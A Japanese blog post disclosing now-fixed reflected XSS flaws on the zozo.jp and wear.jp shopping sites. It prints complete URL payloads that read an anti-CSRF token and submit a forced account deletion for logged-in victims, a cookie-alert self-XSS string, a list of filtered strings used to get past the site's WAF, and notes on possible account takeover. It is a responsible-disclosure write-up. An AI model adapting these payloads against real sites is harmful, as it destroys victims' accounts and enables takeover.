(宇宙よりエンジニアに金かけた方が良いのでは?)
って近所の猫が言ってた。
XSS
以下のようなURLでXSSができた。
- [http://zozo.jp/search/?sex=kids&dstk='}}; (JavaScript); {{'](http://zozo.jp/search/?sex=kids&dstk='}}; (JavaScript); {{')
画像↑のXSSは以下のような感じでできた。
- http://zozo.jp/search/?sex=kids&dstk='}};$('img').attr('src', 'https://www.google.co.jp/images/branding/googlelogo/2x/googlelogo_color_272x92dp.png');{{'
ログイン中に踏んだら強制退会できたXSS↓
http://zozo.jp/search/?sex=kids&dstk='}};
$.ajax({
type: 'GET',
url: 'http://zozo.jp/_member/leave/default.html?',
success: function(html){
var token = $(html).find('input[value=Leave]').attr('name');
var payload = {};
payload[token] = 'Leave';
payload['check1'] = 'on';
payload['check2'] = 'on';
payload['check3'] = 'on';
payload['check5'] = 'on';
payload['check7'] = 'on';
$.ajax({
type: 'POST',
url: 'http://zozo.jp/_member/leave/default.html',
data: payload
});
}
});{{'
http://zozo.jp/~ と https://zozo.jp/~ の違いでクロスドメイン制約に引っかかりできなかったが、サイト全体がhttps対応されていたら、メアド強制変更のXSSも組むことができた。
パスワードを忘れた場合は ~ と合わせればアカウントが奪取できるXSSが組めたんじゃないかと思う。
原因
htmlにべた書きする形で、<script>タグの中身をURLから動的に生成していた。
現在は直っている。
あとブランド選択ページ (http://zozo.jp/_search/shoplist_pop_all.html?path=%2Fsearch%2F%3Fp%5Fkeyv%3Da%26p%5Fvck%3D1%26ustype%3D1) の検索ボックスに
- "><script>alert(document.cookie)</script>
とか突っ込むとセルフXSSができた。
現在は直っている。
感想
- 1個目のXSSはWAF(?)に弾かれたりして↓とかが使えなくてつらかった。
- <script> ~、<img> ~、<iframe> ~、javascript: ~、onmouseover= ~、&、+、alert()、console.log()、document. ~
- location. ~ でリダイレクトさせたりすることはできた。
- jQueryを使ってくれていて助かった。
-
ZOZOテクノロジーズの方にメールを出したが返事が帰ってこなくて虚しかった。- → この記事書いた3日後にきた。
WEAR
知識が貧弱なのでWAF(?)に弾かれてスクリプトは実行できなかったが、↑普通にエスケープが漏れてる。
直した方が良いと思う。
追記1:
よくよく見てたらWEARでも普通にXSSできた。
(2018年10月)
追記2:
WEARのXSS直ってた。
直る前は、以下のようなURLでXSSができた。
画像↑のXSSは以下のような感じでできた。
強制退会XSSもできた↓
https://wear.jp/coordinate/?tag_ids=467868&search_word=};
var leaveUrl = ['htt', 'ps://', 'wear.jp/member/edit/leave.html'].join('');
$.ajax({
type: 'GET',
url: leaveUrl,
success: function(html){
var token = $(html).find('input[name=leaveAgreeKey]').attr('value');
var payload = {};
payload['AgreeCheck'] = 1;
payload['c'] = 'leave_comp';
payload['leaveAgreeKey'] = token;
$.ajax({
type: 'POST',
url: leaveUrl,
data: payload
});
}
});
var b = {'c': '
追記3:
海外展開向けのzozo.comの会員登録メールでセルフXSSができた。
文字数制限厳しいしさすがに使い道ないと思うけど。